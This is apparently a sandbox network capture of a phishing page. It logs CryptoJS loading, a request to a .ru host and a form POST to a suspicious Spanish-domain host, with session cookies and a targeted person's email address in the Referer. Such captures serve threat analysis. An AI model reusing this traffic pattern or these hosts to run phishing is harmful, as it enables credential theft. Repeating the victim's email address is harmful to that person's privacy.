2025-03-26 21:11:09 UTC	408	IN	Data Raw: 37 62 65 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7be6!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 Data Ascii: eof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.c
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 Data Ascii: e.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByt
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 Data Ascii: typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e Data Ascii: r(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 Data Ascii: 0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 Data Ascii: fer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e Data Ascii: .charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMN
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 Data Ascii: s(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=t
2025-03-26 21:11:09 UTC	1369	IN	Data Raw: 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 Data Ascii: 9]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:10 UTC	641	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:10 UTC	741	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:10 GMT Content-Type: image/png Content-Length: 937 Connection: close Server: cloudflare X-Content-Type-Options: nosniff Cf-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Cf-Ray: 9269a390adf11b53-EWR Strict-Transport-Security: max-age=15552000; preload Set-Cookie: __cf_bm=oPUdQV1vQEdbFeukGoyz7UxbVdK.ElRnwZNXtzLxs8I-1743023470-1.0.1.1-GdOF6w_iXTB7yu.Prhs78trH5Dcb3pDMy3idS_2c5WfYXyT3stDgOdA8Zve1V.brMmQR0R9zETd.u2CfPtNq4EemPlfwsAmdlXEaOMWafjk; HttpOnly; SameSite=None; Secure; Path=/; Domain=developers.cloudflare.com; Expires=Wed, 26 Mar 2025 21:41:10 GMT alt-svc: h3=":443"; ma=86400
2025-03-26 21:11:10 UTC	628	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-26 21:11:10 UTC	309	IN	Data Raw: 99 e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:15 UTC	570	OUT	GET /rand$5ef7y HTTP/1.1 Host: a3fv1.ajcffp.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://nvgy.zonqdkqezktw.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:16 UTC	822	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jttteCOSrnE%2BiI7U05Xk4NvRlMp1bOLTHfSR8Ois1d1U0rZM%2F2a8IYcEpMCpgf4X7cgaivIhjpnM4hXxC3FgXWpaWtyrwPhr87zdIozK0CbT%2B8wOKc1VyDXfK1qPmjUVyOw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9269a3b0e9304216-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83707&min_rtt=83694&rtt_var=17679&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1142&delivery_rate=36494&cwnd=252&unsent_bytes=0&cid=59c78f71d9751fc8&ts=908&x=0"
2025-03-26 21:11:16 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 21:11:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:16 UTC	1469	OUT	POST /lobIFM35ef0YB7ynrIMZkoZzr3so5LWwiAwAFQMbzp HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEHhePzKgARC4zlSw sec-ch-ua-mobile: ?0 Accept: / Origin: https://nvgy.zonqdkqezktw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjRqZ1d6TERIakZFdzQ3T0RlL3NiUFE9PSIsInZhbHVlIjoiVkNKMGFKMDBSL2RreHUwSFZmL2o2TCtHUUlHWjF4Sm4rMlNIZFVBblVDb05EMWxtSVNCVGdFcFVlMjg3dVpydEJmemh5d2EvcDJHelFTRjd2enMxYSt2NFJsOGQ4LytsRm9GL2VrSXNpUmhCU2ZzYU95eUV4SnIzbXBEOVFiK3IiLCJtYWMiOiJhMTQ1ZmY3OTExNjI1YmZmMjExOWEwMzk2YjY2Nzg5ZDMwMzkyYWRjNjI2ZDQ4YTQxNzBkMGMzOWQxODljMDEwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc5Z1JyTlpCaFg4d09WVkhzdFpQMUE9PSIsInZhbHVlIjoicjZlZVI4OTF1VDRxUUFvSjk4M0JiWFpXeENyWDYzWFhoR28zQmRPQjE2eHhiMkg5cGVyMmR0OXRjWUFxOEp6MGVDTVdnZVo2dWtBdnBZT0JEM09oUGw1ZHZSbkpLcjdCRm5PSU8vT1YyOGlGYmt3U1JRem5tcytpUENaRXpkNkMiLCJtYWMiOiJlZmZhM2E1MDMwMGFjZGYzYzgzZTljYWYwYmMyMDE4NDdkZTFkYWMzMTJkNTNiNTA1MGUyZGUwNThhOWI2YTY4IiwidGFnIjoiIn0%3D
2025-03-26 21:11:16 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 45 48 68 65 50 7a 4b 67 41 52 43 34 7a 6c 53 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 31 35 44 49 46 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 45 48 68 65 50 7a 4b 67 41 52 43 34 7a 6c 53 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 41 79 77 77 62 77 79 53 6f 79 75 36 37 4d 62 77 62 7a 53 74 69 59 32 79 34 39 6a 50 79 58 42 61 32 74 4b 43 62 53 54 36 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 45 48 68 65 Data Ascii: ------WebKitFormBoundaryEHhePzKgARC4zlSwContent-Disposition: form-data; name="bltpg"15DIF------WebKitFormBoundaryEHhePzKgARC4zlSwContent-Disposition: form-data; name="sid"AywwbwySoyu67MbwbzStiY2y49jPyXBa2tKCbST6------WebKitFormBoundaryEHhe
2025-03-26 21:11:16 UTC	1183	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:16 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e4%2BtwdMavrWCzSVf2DbVpOf8gtxKjeHnWPiHrJGrtiL7MqxS7yPhy80OL8iykND8v2LU%2FNLf7MKEXGZ6KCrai4dheeD11gC3GknSxvoa0rpA7qDVRO3WUP0pb%2FwhgKTjfqQa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16260&min_rtt=16238&rtt_var=4608&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=3160&delivery_rate=247127&cwnd=239&unsent_bytes=0&cid=e83ed7abfef19645&ts=325&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InZxa3FYRENwV1Jhb3RNT0tIS3VwZGc9PSIsInZhbHVlIjoieXVVSUxWaXBYZzJtT1JWZ1JsYzd5Q3hxaVY3QnZxcXEvbnJmU3g2ZUFYOGpwbGw1SUtXZm95eTJEK0wreU5jNzVVZllUTEovYzZKNE5oeXNpQmFjTTRPSmxpWnRwQTNSYThDdWVRT3QvWjJBRGdxNWdzTzJIUFVhUzJoR3ZETk8iLCJtYWMiOiIwZmM2YzU3MDU1ODkyNGYwODNiMjMyMWViOTQ1MTNhMGY2MGY3ZGRiZTFhMjA3N2U4NzRhMmJiZmU4ZjIyNzgyIiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:11:16 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 21:11:16 UTC	789	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 68 36 51 55 78 48 54 58 45 77 52 6e 56 55 56 6a 56 59 55 57 78 4e 61 31 68 33 51 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 31 4a 4a 52 31 46 44 52 33 5a 71 51 54 41 30 52 30 68 4f 56 30 6c 4f 62 6b 5a 35 65 57 78 6e 54 6b 38 79 54 47 46 5a 61 56 46 30 5a 32 52 32 4d 58 46 46 59 32 4d 78 4d 58 68 35 53 6b 68 76 65 6c 49 79 54 32 56 33 55 6d 6c 57 63 6a 64 78 4e 46 64 54 54 6b 35 52 4e 6c 42 76 62 44 52 4a 56 45 4a 6a 51 6e 5a 49 4c 31 46 49 62 45 35 68 4b 33 70 6f 4c 30 4a 46 55 33 70 58 65 48 4a 32 61 6a 5a 77 56 56 4a 45 55 6e 4a 31 5a 46 52 51 